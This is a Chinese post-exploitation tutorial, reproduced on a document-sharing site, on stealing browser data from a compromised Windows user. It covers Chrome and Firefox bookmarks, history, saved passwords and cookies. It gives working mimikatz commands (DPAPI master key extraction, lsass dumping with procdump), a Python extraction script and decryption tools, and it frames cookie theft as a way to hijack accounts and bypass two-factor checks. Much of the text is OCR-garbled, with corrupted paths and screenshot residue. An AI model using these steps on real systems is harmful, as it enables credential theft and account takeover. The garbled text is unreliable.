《2024获取浏览器相关敏感信息.docx》由会员分享,可在线阅读,更多相关《2024获取浏览器相关敏感信息.docx(11页珍藏版)》请在课桌文档上搜索。
1、获取浏览器相关敏感信息当我们获取特定用户的计算机权限后,为了深入分析目标的业务逻辑(浏览器访问行为),从而定位我们感兴趣数据或系统的位置,可以尝试收集该用户常用浏览器的访问书签、访问记录、cookie、保存的密码等敏感信息。0x00获取ChrOme浏览器保存的敏感信息OxOOa获取书签信息chrome浏览器的用书签保存在C:UserstestAppData1.ocalGoogleChromeUserDataDefaultBookmarks,该文件为json格式的文本文件,通过分析用户的书签,可以确定用户常访问的网站,从而找到可能存在关键数据的网站系统。本文均以test用户为例进行讨论OxOOb
2、获取访问记录ChrOme浏览器的用户访问记录保存在C:UserstestAppData1.ocalGoogleChromeUserDataHefauKHistory的UrIS表中,该文件为SQlJte数据库文件,可以使用SQliteStiJdio打开直看。ASQUteStMdio(3.3.J)EurH(toseStaictureVwTOeUHdp0A1ouF-XZ三OC三MW9X3。tB的累触发23IO1.V1Hi*tey(SQUteJ)2,T皿”(12)CrHviwFcrwiBQ-OOOQQiQO.MXM帆IX3T.Ttlr广v*14sUvltitleI1ChgmesoUCSDN-WlbTR
3、*t三ft1typ4a,catAtl*twvisatwtiaHidiM013266137266724072匚3mloU,aict22h*tpspasspo匚knr1.r悟金44hctpsvww.b*idu1.55tppMpoftcdnzwVHA三三401326613753eS42C0066ht*mw.bduxort.burp4ueSP)S停止.三511W10132661M9M872071?7kctpswww.bduQViHMW99hetp1,threatbook.crv5/.-IXW2013266131W60117EfttE1010hnptJMhrtbookWvR一i三11亍In11ktp$y
4、/27.152.ia5.l20/403Forbidden110132661462124918311326614625O16M261212EgUB笈电至同安全!M*.河晦至31U26612921OM7可以使用上网行为分析工具对C:UserstestAppData1.ocalGoogleChromeUserDatamefauRHistory”文件进行分析,研究用户的浏览器使用规律、常访问网站等言息,从而找到可能存在关键数据的网站系统、制定针对该用户的进一步分析利用方案。页面访问停留总时间排名编号停留时间网页地址1250小时2250小时https:/thunlpGNNPapers3230小时http
5、s:/juejin.impost5a672Ibd5125733201c4a24180小时https:/5170小时https:/6170小时7160小时140小时9140小时https:/arxiv.org/abs/1809.0567910130小时https:/11130小时http:/39.106.118.77/12120小时.-.-OxOOc获取保存的密码ChrOme浏览器会将用户保存的密码储存在C:UserstestAppData1.ocalGoogleChromeUserDataXDefauItX1.oginData的IoginS表中,该文件为SQ1.ite数据库文件,可以使用SQI
6、iteStUdiO打开查看。SQUieSiudbo(MJ)1109mDMfQtebmwcr100kPaSSWOr(1.VaIUe字段即为用户保存密码的密文,ChrOme浏览器不同版本的浏览器对应的加密方式不同。在80之前的版本,密码使用DPAPI加密;在80.x之后的版本,使用AES-256-GCM进行加密。也可以通过密文格式来判断加密方式,如果密文以“v10”或“v1T为前缀,则代表对应的加密方式为AES-256GCM.80.x之前在线获取密码可以使用神器mimikatz获取Chrome浏览器保存的密码,需要以test用户权限执行命令:mimikatz.exelogdpapi:chrome/
7、in:C:UserstestAppData1.ocalGoogleChromeUserDataDefaultMoginData/unprotectexit80.X之前离线获取密码ChrOme储存的明文密码时使用WindoWS提供的DPAPI进行对称加密来保证安全性。加解密的密钥称为masterkey有目标用户明文密码的情况首先我们需要定位解密ChrOme数据库对应的MaSterKey文件。使用Python脚本读取1.OginData并保存到文件中,代码如下:fromosimportgetenvimportsqlite3importbinasciiconn=sqlite3.connect(1.o
8、ginData)cursor=conn.cursor()cursor.execute(SE1.ECTaction-url,username_value,password_valueFROMlogins,)forresultincursor.fetchall():print(binascii.b2a_hex(result2)f=open(test.txt,wb,)f.write(result2)f.close()脚本执行后,提取1.oginData中保存的密文,保存为test.txt获得该密文对应的MaSterKeyfile,mimikatz命令如下:mimikatz.exedpapi:blob
9、/in:test.ttexit获彳导又寸应guidMasterkey为alllb0f6-b4d7-40c8-b536-672a8288b958mimikatzttdpapi:blot)/in:c:ltest.txt*B1.OB*dwVersion00000001-1guidProviderdf9d8cd0-1501-lldl-8c7a-00c04fc297eb)dwMasterKeyVersion00000001-1guidMasterKealllb0f6-b4d7-40c8-b536-672a8288b958)dwFlags00000000-0()dwDescription1.en00000
10、002-2SzDescriptionalgCrpt00006610-26128(CA1.G_AES_256)%dwAlgCrypt1.en00010-256dwSalt1.en00000020-32pbSaltC5b242bce8a08ba6e83376b0120fa28e88430a2ccd5e58e3f30665bd0900ebadwHmacKey1.en00000000-0pbHmackKeyalgHash0000800e-32782(CR1.G_SHA_512)dwAlgHash1.en00000200-512dwHmac2Ke1.en00000020-32PbHmdCk2Keyadf
11、c4f753f2flf61dfe6042907dl0937e7db4abfeb407cabfa64f67192a8b95dwData1.en00000010-16pbData790249db2e4a74f755c44a27b5f39f2adwSign1.en00000040-64pbSign6efflc8bd30fl8600b3944e9ba8d31b7512155aea77ad3d4f5f76ec7Cd60535ce4eaeb5ac0b7d53ab99f98b04621ae56f5a6766709a293077730365fb7c05ef即MaSterKeyfile的路径为%APPDATA%
12、MicrosoftProtect%SID%alllb0f6-b4d740c8-b536-672a8288b958MaSterKey保存在MaSterKeyfiie中,使用用户密码的SHAl密文加密(NT1.MhaSh使用MD4力口密),所以获取到用户的NT1.Mhash并不能解密MaSterKeyfile获取MaSterKey。在获取目标用户明文密码的情况下可以使用ChromePaSS离线获取Chrorne保存的密码C解密需要获得三部分内容:1 .加密密钥(即MaSterKey文件),位于appdata%MicrosoftProtect下对应Sid文件夹下的文件2 .数据库文件1.OginDa
13、ta(C:UserstestAppData1.ocalGoogleChromeUserDataXDefauItX1.oginData)3 .用户明文的密码,用于解密加密密钥由于ChrOmePaSS程序的设计问题,以上文件需要组成特定格式,子目录格式如下:AppData1.ocalGoogleChromeUserDataDefault1.oginDataAppDataRoamingMicrosoftProtectsid下保存key文件sid必须同原系统的对应例如子目录格式如下:C:l23di*ZsZb/a:aC:123XAppData1.ocalGoogleChroneUserDataDefau
14、lt1.ogi11DataC:123ppDataRoaningMicrosoftProtectS-l-5-21-3453529135-4164765056-1075703908-1001329c4147-0011-4ad6-829d-e32dcbdlbbd?使用ChrOmePaSS选择该目录,填入用户明文密码,如下图没有目标用户明文密码的情况在没有用户明文密码的情况下,无法从MaSterKeyfile中获取MaSterKey,但是可以从ISaSS进程内存中提取MasterKeyo可以直接使用mimikatz获取MaSterKeymimikatz.exePriVilege:debug(需要管理员
15、权限)sekurlsa:dpapiexit如下图mimikatzWprivilege:debugPrivilege20OKmimikatzHsekurlsa:dpapiAuthenticationSessionUserNameIdIDomain1.ogon1.ogonSIDServerTime00000000-GUID*Time*MasterKey0;18500103(00000000:011a4a07)InteractiMefrom2ba-PCA-PC20182J-.22:43:28S-l-5-21-2884853959-2080156797-250722187-1002alllb0f6-b
16、4d7-40c8-b536-672a8288b958)2018/2/1422:57:14666638cbaea3b7cfldc55688f939e50eal002cded954aldl7d5fe0flJC90b7dd34677acl48aflf32caf828fdf7234bafbel4b39791b3d7e587176576d39c3fa70*Shdl(key):a3328800883339d6206ca972c97fcbe6c09728ee提取出MaSterKey为666638cbaea3b7cfldc55688f939e50eal002cded954aldl7d5fe0fbc90b7dd
17、34677acl48aflf32caf828fdf7234bafbel4b39791b3d7e587176576d39c3fa70如果无法确保在目标环境上运行mimikatz不被发现,也可以使用proCdUmP等工具导出ISaSS进程内存,然后将文件下载回本螃取MaSterKey(与离线获取用户密码的方式一样)o导出ISaSS进程内存同样需要管理员权限:PrOCdUmp.exe-accepteula-maIsass.eelsass.dmp使用mimikatz加载dmp文件,获取MaSterKey:mimikatz.exesekurlsa:minidumplsass.dmpsekurlsa:dp
18、api通过以上两种方式获取到MaSterKey后就可以使用mimikatz离线获取ChrOrne保存的密码。mimikatz.exelogdpapi:chrome/in:,C:UserstestAppData1.ocalGoogleChromeUserDataDefault1.oginData/unprotect/masterkey:666638cbaea3b7cfldc55688f939e50eal002cded954aldl7d5fe0fbc90b7dd34677acl48afIf32caf828fdf7234bafbel4b39791b3d7e587176576d39c3fa70exit
19、80.X之后获取密码如上图所示80以后版本的Chrome使用原始密钥对密码明文进行了AES-256-GCM加密,并将原始密钥经过DPAPl力口密后储?了C:UserstestAppData1.ocalGoogleChromeUserDataX1.ocaIState文件的ebcrypted_key中。该文件为json格式的文本文件。T上elsctE31n:easy_unlock.proximity_requiredn:false),Mhardware_acceleration_mode_previous:true,incompatible_applicationsn:ESETSecurity*:
20、nallow_load*:true,nmessage_urlM:,Mregistry_is_hkcun:false,registry_key_path:,SOFTWAREMicrosoftWwindowswcurrentversionWUninstallWB489BC2D-0079-4631-97BF-CA2378299D43)nrnregistry_wow64_accessn:256,type*:0),legacy:profile:(name11:migrated:true,nnetwork_time:netWortimeapping:,localn:1.624719465750009e+1
21、2,network:1.624719465415e+127nticks:893989786O59Truncertainty:421993.0),origin_trials:(“disabled.features1*:SecurePaymentConfirmation),oscrypt:,encrypted_key,*:RFBBUEkBAAAAOIydSwEV0RGMegDAT8KX6wEAAABMy6F9hR1.tQp4ZoWiw7Nq6ZkAAAAAIAAAAAABBmAAAAAQAAI7kAAAKOEz61.Djli0GsoRlMSftWaRWG5RKkPaymMENqzBznAAAAAA
22、6AAAAAAgAAIAAAACbqxciGgiufICrTunKe3x6nc7mzfJZfHQAhWH0SX4vMAAAAGHMpIKViNbtNnZfSQZ1.HfjqP8Dy9xZOxnCOuChacRmTe8mzyThPwOUSjHQnlloUAAAACQxnwlGylVRCgW1.p8zjKCtCrhiWymY4utWa2g4工gtAkk85fsxk7IMdCECVrXB8H6p3G1.+DDu6nwh+31.y01),password_manager:,我们想要获取密码明文就需要先从json文件中获取ebcryPteC1.key.然后调用DPAPl进行解密获取原始密钥,再通过AES
23、-256-GCM解密获取明文密码。新版mimikatz支持了80.x之后的ChrOme密码的获取,只需要添加/state:1.ocalState文件”即可。例如在线获取保存的密码的命令为:mimikatz.exelogdpapi:chrome/in:C:UserstestAppData1.ocalGoogleChromeUserDataDefaultX1.oginData/state:,C:UserstestAppData1.ocalGoogleChromeUserData1.ocalState/unprotectexitOxOOd获取COokieCOokie通常也叫做网站COokie、浏览器
24、COOkie或httpcookie,保存在浏览器端,它可以用来做用户认证、服务器校验等使用文本数据可以处理的问题。cookie机制可以弥补http协议无状态的缺点,在SeSSion出现之前,很多网站都采用CoOkie来跟踪会话。cookie实际是一段文本信息,当客户端请求服务器时,如果服务器需要记录该用户状态,response就向客户端颁发一个cookie,客户端会把cookie保存起来,浏览器再次请求该网站时,客户端连同该cookief给服务器,服务器检查该Cookie以辨认用户状态。当我们确定用户拥有某个我们感兴趣的网站凭证,但是无法获取到用户保存的密码或者网站使用二次验证,我们就可以尝试
25、窃取用户的cookie来模拟用户的请求行为,此时服务器无法辨别客户端的请求来自用户还是攻击者,我们就获取了目标用户的账号控制权。ChrOme浏览器的COOkie保存在C:UserstestAppData1.ocalGoogleChromeUserDataDefaultCookies,该文件为SQ1.ite数据库文件,可以使用SQliteStUdi。打开有看。三三三ii2tKi*wMtt46*m*riHMJbCCOUMT.tRSS/10t16*S2416M3,-1/nwoooooo001UMlMeU411Wt11T0n*,y/13016HfiOT9MM001WtMM4HWI11.I-NV2DG5
26、-59BJUOUC/0。14tMM24MM11110SfjW7M6/1MM211MMM)001MW1MW241MU111roP.*w)*4E.O.bedGl4Mc-f3,6MWOOooO00IUe6,f11r”./1M97eTM*J000000001UC61M0U41WSOt1Tg*gy-/1U977M*mC000001U1MW41HWI1,70.d.m1.R*.*BOUPO/142?52OM200000000Iea”Gw./nai)6MMco00IUMlMMMUMI1ImJl2z11uq*/八acooo001UM1M0U411M1111ftnX1.,g*QytCOOK.suM/1M7MTOM
27、OOOO001UM1S4M241M11TO1&(-”-Bwnodjo,IuaiMmroooooo001Ue61M6Ul42014t112N6F-MWd.*M291V1CM*TOOOOOO001UC41M0V1W1O11%10*jU.69f-“yM)Cj1THdrmmMencrypteC1.VaIUe即为力密后的COOkie值密文,加花方式同ChrOme保存的密码,可参考上文进行获取。例如在线获取80.x版本之前的ChrOme保存的Cookie信息可以使用mimikatz以test用户权限执行如下命令:mimikatz.exeIogdpapi:chrome/in:C:UserstestAppDa
28、ta1.ocalGoogleChromeUserDataDefaultXCookies/unprotectexit0x01获取firef。X浏览器保存的敏感信息默认情况下,firefox浏览器的用户配置信息保存在C:UserstestAppDataRoamingMozillaFirefoxProfilesxxxxxxxx.default中。其中xxxxxxxx”为8位随机字母和数字的组合,可以进入C:UserstestAppDataRoamingMozillaFirefoxProfiles文件夹进行查看。0x01a查看基本信息命令行下查看firefox版本信息的方法:type,C:Progra
29、mFilesXMozillaFirefOXapplication.inifindstrVer#或者typeC:ProgramFiles(86)MozillaFirefoxXapplication.iniIfindstrVer判断FirefoX浏览器版本:64位FirefoX浏览器的默认安装目录为C:ProgramFilesXMozillaFirefox32位FirefOX浏览器的默认安装目录为C:ProgramFiles(86)MozillaFirefoxOXOlb获取书签信息firefox浏览器的书签储存在PlaCeS.sqlite的moz_bookmarks表中,相关UR1.信息存储在mo
30、z_places表中,该文件为SQ1.ite数据库文件,可以使用SQIiteStUdi。打开查看。WSQ1.XeStudio(13.3)-jF-KKZ:2一二二CS9X编仲新搦n三*aM的发aDO1.P143(SQlitt3)、r-TiM”(三)GridivaaOit4u.ITtdrw*1*4:13I二*.aaattribt,广M.tan1a11tyrparj%tA44lstik4ii4Ki415820348743000016249026933770root(Fajb4S,222N.:10menuNU1.1.1582034874MmOoO1582034874741000menuBK332V.1
31、1toolbarWU1582034874X)60003490283377000toolbar_“Initai(三)J三1.(MJb4tl41c4广.Jkistryvititf1.ttry*I-442WU12togsNUU1203474J0600012034874J06000565662NUU1213Unfiwd4mobile15820347430000158203474727000UMiud_1S8203487449B01582034874727000mobile772M一,20MozM.Firefox15820348747410001582034S74741000IUTJfFSHMdEk88
32、1170IWyWW1582034747410001582034874741000R3y8pnRw_厂*z,rpM10ioIlH1371472-3WU15820348747410001$820348747410TEkYMxPxug15820348747410001S820348747410TuBefevnbIMv匚*zlr*12121530新手上第158203474796000158203474796000Nna1UQdbhQ9H字段g今InxtGJM%3卓ViE13131931Fecebook-logInorSignUp1624902WJ3770001624902695377000plw62v
33、MH7U3VI1M*(fviP&3“m,匚.ttrto.*,CAU*,Cr4rH.ltiCbMBurrriiU匚R*U*F匚3S*.*,ljB4fi*0x01C获取访问记录firefox浏览器的用户访问记录保存在PIaCeS.sqlite的moz_PIaCeS表中,该文件为SQ1.ite数据库文件,可以使用SQIiteStlJdio打开查看。可以使用firefox-history-spy对访问记录进行分析。Sx*ylMt.*ait.4t.41QUKy*oow,WmMMCQ1*09ISM901801K*H9000*aA*M119db251624WWHJOOONMM*M2xU181624e0M7M
34、0JO001CtfNXXwiftNO”124901107110000rWlMOO0x01d获取保存的密码解密流程1 .读取密钥文件(key4db或key3db),获得key和2(初始化矢量)2 .读取记录文件(IoginSJson或SignOnS.sqlite)的内容3 .如果未设置MaSterPassword,使用ke丽iv对记录文件中的加密内容进行3DES-CBC解密。如果设置MaSterPassword,还需要获得明文形式的MaSterPassword,才能进行解密需要获取的文件离线导出firefox保存的凭证需要获取目标计算机上的记录文件以及密钥文件。记录文件: VerSiOn大于等于
35、32.0,保存记录的文件为IOginSJson VerSiOn大于等于3.5,小于32.0,保存记录的文件为SignOnS.sqlite记录文件中,encryptedUsername和encryptedPassword是力口密的内容,解密需要获得密钥文件(key和iv)并作3DES-CBC解密。不同版本的FirefoX密钥文件的位置不同:VerSion小于58.0.2,密钥文件为key3.db-VerSiOn大于等于58.0.2,密钥文件为key4.db未设置MaSterPaSSWOrd时离线导出推荐使用fM离线获取保存的密码:py-2firepwd.py-d记录文件与密钥文件所在文件夹其它的
36、可用工具:1. WebBrowserPassViewexe2. 1.aZaane3. firefoxdecrv”4. 直接使用firefox浏览器加载配置文件firefox.exe-profile记录文件与密钥文件所在文件夹设置了MaSterPaSSWOrd时离线导出为了提高安全性,FirefoX浏览器支持为保存的密码添加额外的保护:设置MaSterPassworde设置了MaSterPaSSWord后,解密流程如下:1 .加载NetWOrkSecuritySerViCeS需要的nss3.dll2 .调用NSSJnitO进行初始化3 .调用PKll_GetlnternaIKeySIot()来获
37、得internalslot(用作iEMaSterPassword)4 .调用PKIl_CheckUserPassword()验证MaSterPassword5 .读取IOginS.json获得加密数据6 .调用PKlISDRDecrypt。进行解密设置了MaSterPaSSWOrd后,使用firefox浏览器直接加载配置文件后输入正确的MaSterPaSSWOrcl也可以获取到保存的凭证。使用工具firefoxdecrypt离线导出保存的凭证,除了需要记录文件和密钥文件外,还需要cert9db,该文件保存在与记录文件相同的文件夹中,该文件并非必须是目标计算机上的,本地的cert9.db文件也可
38、使用。将这三个文件保存在相同文件夹下,然后运行如下命令即可导出保存的凭证:echoMasterPassword,py-2firefox_decrypt.py配置文件保存路径在64位系统下,Python和FirefoX的版本需要保持一致(同为32位或者同为64位),否则会提示ERRoR-Problemsopening,nss3.dlrequiredforpassworddecryption,0x01e获取COOkiefirefox浏览器的用户访问记录保存在COokie.sqlite的moz_cookies表中,该文件为SQ1.ite数据库文件,可以使用SaIiteStIIdio打开查看。0x02其他浏览器&神器推荐出来上面提到的两款浏览器,我们在实战中可能会遇到其他的浏览器,可以在本地安装与目标相同版本的浏览器进行测试分析,制定收集浏览器敏感信息的方案。推荐两款神器:1.aZaqne可以获取二十多个浏览器的相关信息。1.aZagne使用Python编写,有较好的跨平台性,但是有时候如果目标机器上没有Py环境,我们可以把Py转换成exe扔到目标机器上运行。HaCkBrOWSerData是一个解密浏览器数据(密码|历史记录|C。Okiel书签|信用卡|下载记录)的导出工具,支持全平台主流浏览器。HaCkBrOWSerData使用g。开发,我们同样可以生成exe放在目标计算机上执行。